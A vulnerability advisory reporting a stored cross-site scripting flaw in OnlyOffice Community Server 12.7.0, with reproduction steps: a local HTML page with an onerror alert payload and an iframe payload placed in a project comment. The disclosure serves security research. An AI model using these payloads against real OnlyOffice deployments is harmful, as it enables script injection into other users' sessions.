OnlyOffice Community Server | Stored XSS via embedding iframe in comment
Information
| Software Type | Web App |
|---|---|
| Software Name | OnlyOffice Community Server |
| Affected Version | 12.7.0 |
| Software Vendor | Ascensio System SIA |
| Software Link | https://github.com/ONLYOFFICE/Docker-CommunityServer |
| Severity | Medium |
| CVSS Score | 5.2 |
| CVE Link | N/A |
| Affected Assets | 10523+ |
| Date of Discovery | Feb 17th, 2025 |
| PoC Exploit | N/A |
Description
In OnlyOffice, users can create projects and add comments. While HTML input is permitted, it also allows embedding iframe that can contain JavaScript, leading to an XSS vulnerability. The XSS doesn't directly affect OnlyOffice, instead JavaScript from any malicious site can be loaded to OnlyOffice through iframe tags.
Reproduce
Create index.html with the following content:
<!DOCTYPE html> <html> <head> <title>Malicious Page</title> </head> <body> <h1>Welcome to Evil Site</h1> <img/src=x onerror=alert('xss')> </body> </html>Serve index.html with python http server:
python3 -m http.server
Create a comment under a project of your choice on OnlyOffice:
http://127.0.0.1:8088/Products/Projects/Messages.aspx?prjID=1&id=1#comments
Edit source code of the comment and use the following payload:
<iframe src="http://127.0.0.1:8000/index.html"></iframe>Reload or spread the page and the content will load.
Proof of Concept (PoC) Video
Posted on: May 24, 2025 03:04 AM